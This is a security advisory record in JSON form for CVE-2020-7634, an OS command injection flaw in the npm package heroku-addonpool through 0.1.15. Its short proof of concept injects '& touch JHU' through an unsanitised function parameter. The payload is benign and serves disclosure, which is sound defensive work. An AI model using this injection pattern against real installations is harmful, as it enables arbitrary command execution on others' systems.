{"id":"GHSA-3q9x-w53p-jg53","summary":"OS Command Injection in heroku-addonpool","details":"heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.\n\n**PoC**\n```js\nvar Root = require(\"heroku-addonpool\");\nvar root = Root(\"sss\", \"& touch JHU\", {});\nroot.setup();\n```","aliases":["CVE-2020-7634"],"modified":"2026-03-13T22:11:30.333377Z","published":"2021-12-09T19:52:03Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-05-24T22:14:43Z","nvd_published_at":"2020-04-06T13:15:00Z","cwe_ids":["CWE-78"],"severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7634"},{"type":"WEB","url":"https://github.com/nodef/heroku-addonpool/commit/b1a5b316473ac92d783f3d54ee048d54082da38d"},{"type":"WEB","url":"https://github.com/nodef/heroku-addonpool/blob/master/index.js"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-HEROKUADDONPOOL-564428"}],"affected":[{"package":{"name":"heroku-addonpool","ecosystem":"npm","purl":"pkg:npm/heroku-addonpool"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.16"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-3q9x-w53p-jg53/GHSA-3q9x-w53p-jg53.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}